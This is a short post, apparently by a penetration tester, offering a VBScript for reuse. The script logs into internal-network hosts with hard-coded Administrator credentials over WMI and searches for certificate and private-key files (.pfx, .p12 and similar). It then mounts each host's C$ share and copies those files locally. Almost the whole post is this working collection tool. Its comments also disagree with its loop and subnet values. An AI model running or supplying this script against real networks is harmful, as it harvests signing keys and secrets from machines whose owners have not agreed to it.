I am engaged with a mission to detect digital signatures on the client computers. Then, I decided to write a script to search for client computers in the internal network using WMI.

For anyone who would like to use it, here is the script. Save it as a search.vbs, and run as CScript search.vbs.


arrEtensions = Array("cer","pfx","p12","p7b")
AdminUsername = "Administrator"
AdminPassword = "AdminPassword"
UserSegment = "172.16.1."
WorkingDir = "C:\Users\pen\Desktop\PenTest\script\"
Const OverwriteExisting = True

On Error Resume Next

'Search for computers 172.16.16.17 to 172.16.16.254
For comp=29 To 29 : Do

strComputer = UserSegment & comp
Wscript.Echo "Searching for: " & strComputer

Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator") 
Set objWMIService = objSWbemLocator.ConnectServer(strComputer, _
		    "root\cimv2", AdminUsername, AdminPassword)

if Err.Number <> 0 Then
	Wscript.Echo "Error: " & Err.Number & Err.Description

	Err.Clear
	Exit Do
End If

strSearch="Select * from CIM_DataFile where "

For Each Extension In arrEtensions
	strSearch = strSearch & "Extension = '"& Extension & "' OR "
Next
	
'Delete last OR
strSearch = Left(strSearch, Len(strSearch) - 4) 
Wscript.Echo strSearch
	
Set colFiles = objWMIService.ExecQuery(strSearch)
Wscript.Echo colFiles.Count

If colFiles.Count > 0 Then

	Set oFSO = CreateObject("Scripting.FileSystemObject")
	
	If Not oFSO.FolderExists(strComputer) Then
		oFSO.CreateFolder strComputer
	End If


'Write the results file
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.CreateTextFile(strComputer & "\files.txt " , True)

objTextFile.Write(strSearch & vbCrLf)

filecount = 0

	Set WshShell = CreateObject("WScript.Shell")

	mountLine = "net use w: \\" & strComputer & "\c$ /user:" & _
		    AdminUsername & " " & AdminPassword

	Set oExec = WshShell.Exec(mountLine)

	Do While oExec.Status = 0
	      WScript.Sleep 100
	Loop	
	
For Each objFile in colFiles

    filecount = filecount + 1
	sourceFile = objFile.FileName & "." & objFile.Extension
	sourceDir = objFile.Drive & objFile.Path
	netDir = "w:" & objFile.Path
	
	strLine = _
			objFile.Extension & vbTab & _	
			sourceDir & sourceFile & vbTab & _
			Round(objFile.FileSize /1024, 2) & "Kb" & vbCrLf
	
	WScript.Echo oExec.Status
	objTextFile.Write(strLine)

	copyLine = "xcopy " & """" & netDir &  sourceFile & _
		   """" & " " & "" & WorkingDir & strComputer & _
		   "\" & objFile.FileName & "-" & filecount & _
		   "." & objFile.Extension & "*""" & " /Z /C"

	Wscript.Echo "Copying... " & copyLine
	
	Set oExec = WshShell.Exec(copyLine)

	Do While oExec.Status = 0
	     WScript.Sleep 100
	Loop
	
Next

	Set oExec = WshShell.Exec("net use * /delete /y" )

	Do While oExec.Status = 0
	     WScript.Sleep 100
	Loop	

	objTextFile.Close
	
End If

Wscript.Echo "Completed: " & strComputer

Loop While False: Next